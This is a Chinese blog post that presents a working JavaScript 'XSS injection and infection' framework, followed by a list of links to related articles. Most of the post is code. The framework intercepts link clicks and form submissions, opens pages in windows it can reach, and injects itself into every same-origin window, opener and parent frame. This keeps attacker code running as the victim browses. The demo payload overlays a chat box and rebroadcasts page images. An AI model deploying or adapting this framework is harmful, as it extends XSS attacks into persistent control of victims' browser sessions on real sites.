XSS代码注入框架
首先需要了解一下几点:
1.浏览器中Javascript变量的生命周期
Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。
2.window对象下方法会在在窗口被关闭时清掉,比如:
window.setTimeout(function(){
alert('Hello')
},5000)
如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。
3.window.opener可以获取打开当前页面的窗口
4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]
5.跨域的窗口无法操作,尝试修改document.domain直接异常
6.所有代码测试于Chrome浏览器,未测试其他浏览器
下面是代码实现,点击按钮可以立即体验:
点我开启XSS
/**
* Created by AepKill on 2015-7-1 10:53:17
* XSS Inject & Infection
*/
var XSS=(function(){
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
var TOOL={
extend:function(){
if (arguments.length<=0) return {};
var result={};
for(var i= 0,l=arguments.length;i<l;i++){
for (var j in arguments[i]){
result[j]=arguments[i][j];
}
}
return result;
},
//RunCode
injectCode:function(win,code,args,self){
if (! win.window === win){
return false;
}
try {
win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);
}
catch(e){
}
return true;
},
dispatchMessage:function(winList,args){
winList.getWinList().forEach(function(distWin){
try{
var message=distWin[MODULE_NAME]['Message'];
message.dispatch.apply(message,Array.prototype.slice.call(args));
}catch(e){ }
})
},
sysDispatchMessage:function(winList,args){ }
}; /*Message*/
function Message(){
//消息
var messageList={};
//消息订阅
this.subscription=function(msg){
if (messageList[msg] === undefined ){
messageList[msg]=new Array();
}
Array.prototype.slice.call(arguments,1).forEach(function(e){
if (typeof e == "function") messageList[msg].push(e);
});
};
//消息退订
this.unsubscribe=function(msg){
var msglist=messageList[msg];
Array.prototype.slice.call(arguments,1).forEach(function(e){
for (var i=0;i<msglist.length;i++){
if (msglist[i]==e){
msglist.splice(i,1);
i--;
}
}
});
};
//消息派送
this.dispatch=function(msg){
var args=Array.prototype.slice.call(arguments,1);
if (messageList[msg]){
messageList[msg].forEach(function(e){
e.apply(null,args);
})
}
}
}
/*End With Message*/ /*WinList*/
function CreateWinList(winList){ function WinList(winList){
var winList=winList.concat(); this.deleteWindow=function(win){
for (var i= 0,l=winList.length;i<l;i++){
if (win===winList[i]){
winList.splice(i,1);
break;
}
}
};
this.hasWindow=function(win){
return winList.indexOf(win)!==-1;
};
this.addWindow=function(win){
if (this.hasWindow(win)) return ;
winList.push(win);
}
this.getWinList=function(){
return winList.concat();
};
this.isEmpty=function(){
return winList.length===0;
};
this.clearCloseWindow=function(){
winList.forEach(function(e,i){
if (e.closed){
winList.splice(i,1);
}
})
} }
WinList.prototype=new Message(); return Object.freeze(new WinList(winList));
}
/*End With WinList*/ /*CoreModule*/ function CoreModule(opt,winList,message,TOOL,globalObj){
var window=this;
var _open=window.open;
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
window[MODULE_NAME]={};
var module=window[MODULE_NAME];
module['Message']=message;
if (module['RunCode'] === undefined) module['RunCode']=false;
window.open=function(){
var win=_open.apply(this,arguments);
if (win){
winList.dispatch('windowJoin',win);
window['openWin']=win;
};
return win;
}; function afterLoad(){
module['RunCode']=true;
TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);
window.document.addEventListener('click',function(e){
var el= e.target;
do{
if (el.tagName == 'A'){
e.preventDefault();
e.stopPropagation();
window.open(el.href);
break;
}
el=el.parentNode;
}while(el!=document)
});
window.document.addEventListener('submit', function(e){
var name = Math.random().toString();
open('', name);
var form = e.target;
form.target = name;
});
window.addEventListener("unload", function( event ) {
winList.dispatch('windowQuit',window,event);
});
}; window.addEventListener('DOMContentLoaded',function(){
if (module['RunCode']===false) afterLoad();
});
setTimeout(function(){
if (module['RunCode']===false) afterLoad();
},1000);
} /*End With CoreModule*/ var defaults={
runCode:function(winList,win,message,global){
/*
* winList 当前所有感染窗口的列表
* win 执行代码环境的window对象
* message 消息队列 可订阅、发送消息
* global 全局对象
* 说明:runCode在每个窗口都会执行一次
* */
console.log('汪汪汪------');
}
} return function(opt){
var winList=CreateWinList([]);
opt=TOOL.extend(defaults,opt||{});
var globalObj=Object.freeze({
dispatch:function(){
TOOL.dispatchMessage(winList,arguments);
},
getWinList:function(){
return winList.getWinList();
},
data:{ }
});
winList.subscription('windowJoin',function(win){
if (!win.window || win.closed) return ;
winList.clearCloseWindow();
var message=new Message();
TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);
globalObj.dispatch('windowJoin',win);
winList.addWindow(win);
//console.log('JOIN',winList.getWinList().length);
});
winList.subscription('windowQuit',function(win,event){
winList.clearCloseWindow();
if (winList.hasWindow(win)){
winList.deleteWindow(win);
}else{
return;
} globalObj.dispatch('windowQuit',win); if (!winList.isEmpty()){
var hero=winList.getWinList()[0];
TOOL.injectCode(hero,function(winList,win){
setTimeout(function(){
winList.dispatch('windowJoin',win);
},500);
},[winList,win]);
} }); //从iframe中往上遍历
if (window.top != window.self){
var win = window;
while (win = win.parent) { }
winList.dispatch('windowJoin',win);
}else{
winList.dispatch('windowJoin',window);
} //遍历打开的窗口
var temp1=window.opener;
while(temp1){
winList.dispatch('windowJoin',temp1);
temp1=temp1.opener;
}; };
})(); XSS({
runCode:function(winList,win,message,global) { var window=win; function code() {
var strVar = "";
strVar += "";
strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";
strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";
strVar += "";
strVar += " <\/p>";
strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";
strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";
strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";
strVar += " <\/form>";
var css = "";
css += "position:fixed;";
css += "z-index:99999999;";
css += "left:50%;";
css += "top:50%;";
css += "height50%;";
css += "margin-left:-300px;";
css += "margin-top:-225px;";
css += "height: 450px;";
css += "width: 600px;";
css += "border-radius: 10px;";
css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";
css += "background:rgba(88,88,88,0.8) "; var div=document.createElement('div');
div.style.cssText=css;
div.innerHTML=strVar;
document.body.appendChild(div); var text=document.querySelector('#showBox'); function appendText(txt){
text.innerHTML+=txt+'<br/>';
} document.querySelector('#form1').onsubmit=function(e){
appendText('我说:'+this['content'].value)
global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);
e.stopPropagation();
e.preventDefault();
return false;
}
appendText('['+document.title+'] 页面被注入了代码');
message.subscription('Say',function(win,message){
if (win!==window) appendText(message);
});
message.subscription('windowJoin',function(win){
appendText('['+win.document.title+'] 页面被注入了代码');
});
message.subscription('windowQuit',function(win){
appendText('['+win.document.title+'] 页面被关闭了');
}); var imgList=window.document.querySelectorAll('img');
var count=0;
var timer=window.setInterval(function(){
appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )
global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );
if (count>=imgList){
clearInterval(timer);
}
},2000);
}
if (document.body) {
code();
} else {
window.addEventListener('DOMContentLoaded', code);
}
}
});
XSS代码注入框架的更多相关文章
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
- HTML5 App的代码注入攻击
原文链接 摘要 基于HTML5的手机app(译者注:以下简称HTML5 app)越来越流行了, 在大多数情况下它比native应用更容易适配不同的移动操作系统.它开发起来很方便,可以使用标准的web技 ...
- [Android]依赖注入框架google的dagger
分享一下Android依赖注入框架--Google升级版Dagger2框架 Google的Dagger2是对上一版squareup的Dagger改版,话不多说直接上项目代码. Dagger2源码 Da ...
- ButterKnife--View注入框架的使用
作为一名Android开发,是不是经常厌烦了大量的findViewById以及setOnClickListener代码,而ButterKnife是一个专注于Android系统的View注入框架,让你从 ...
- 【原】iOS动态性(三) Method Swizzling以及AOP编程:在运行时进行代码注入
概述 今天我们主要讨论iOS runtime中的一种黑色技术,称为Method Swizzling.字面上理解Method Swizzling可能比较晦涩难懂,毕竟不是中文,不过你可以理解为“移花接木 ...
- ButterKnife--View注入框架
俗话说,不会偷懒的程序员不是好程序员!作为一名Android的开发者,我们已经厌烦了经常写大量的findViewById以及setOnClickListener代码.而ButterKnife是一个专注 ...
- Android Dagger依赖注入框架浅析
今天接触了Dagger这套android的依赖注入框架(DI框架).感觉跟Spring 的IOC差点儿相同吧.这个框架它的优点是它没有採用反射技术(Spring是用反射的),而是用预编译技术.因为基于 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- 玩转ButterKnife注入框架
在去年这个时候,我写过一篇介绍Android注解的文章android注解使用详解,这篇文章主要是介绍了Android中的AndroidAnnotations注入框架,AA框架有它自身的一些优点,这里不 ...
随机推荐
- 深入 Nginx 之配置篇
常用配置项 在工作中,我们与 Nginx 打交道更多的是通过其配置文件来进行.那么掌握这些配置项各自的作用就很有必要了. 首先,nginx.conf 的内容通常是这样的: ... ... #核心摸块 ...
- oracle 查出一个表中字段值出现次数大于2的所有记录
表web_order 列 name ,businesscode, a.account 周桥 18929609222 3754031157710000妙药 18929609233 3754031157 ...
- 【刷题】LOJ 6010 「网络流 24 题」数字梯形
题目描述 给定一个由 \(n\) 行数字组成的数字梯形如下图所示.梯形的第一行有 \(m\) 个数字.从梯形的顶部的 \(m\) 个数字开始,在每个数字处可以沿左下或右下方向移动,形成一条从梯形的顶至 ...
- 简单prufer应用
[bzoj1005] Description 自从明明学了树的结构,就对奇怪的树产生了兴趣......给出标号为1到N的点,以及某些点最终的度数,允许在任意两点间连线,可产生多少棵度数满足要求的树? ...
- centos 7使用docker安装lnmp和redis环境
#================Docker基础操作========================== #启动docker服务service docker start#搜索可用docker镜像#h ...
- 算法-动态规划DP小记
算法-动态规划DP小记 动态规划算法是一种比较灵活的算法,针对具体的问题要具体分析,其宗旨就是要找出要解决问题的状态,然后逆向转化为求解子问题,最终回到已知的初始态,然后再顺序累计各个子问题的解从而得 ...
- 【POJ3171】Cleaning Shifts 带权区间最小覆盖
题目大意:给定一个长度为 N 的序列,求带权区间最小覆盖. 题解:设 \(dp[i]\) 表示从左端点到 i 的最小权值是多少,则状态转移为:\(dp[e[i].ed]=min\{dp[j],j\in ...
- springcloud与dubbo对比:
我们直接将结论先列出来,然后逐个分析: 本博客借鉴此文章:http://blog.csdn.net/shuijieshuijie/article/details/53133082 打个不恰当的比喻: ...
- SHOW_PAGE_TRACE
入口文件开启APP_DEBUG配置文件里添加了'SHOW_PAGE_TRACE' => true,控制器中显示模板在页面右下角也有trace图标但是鼠标放上面不显示手型光标,还是箭头,点不动但是 ...
- 关闭ubuntu dash 方法
因为ubuntu默认的sh是连接到dash的,又因为dash跟bash的不兼容所以出错了.执行时可以把sh换成bash 文件名.sh来执行.成功.dash是什么东西,查了一下,应该也是一种shell, ...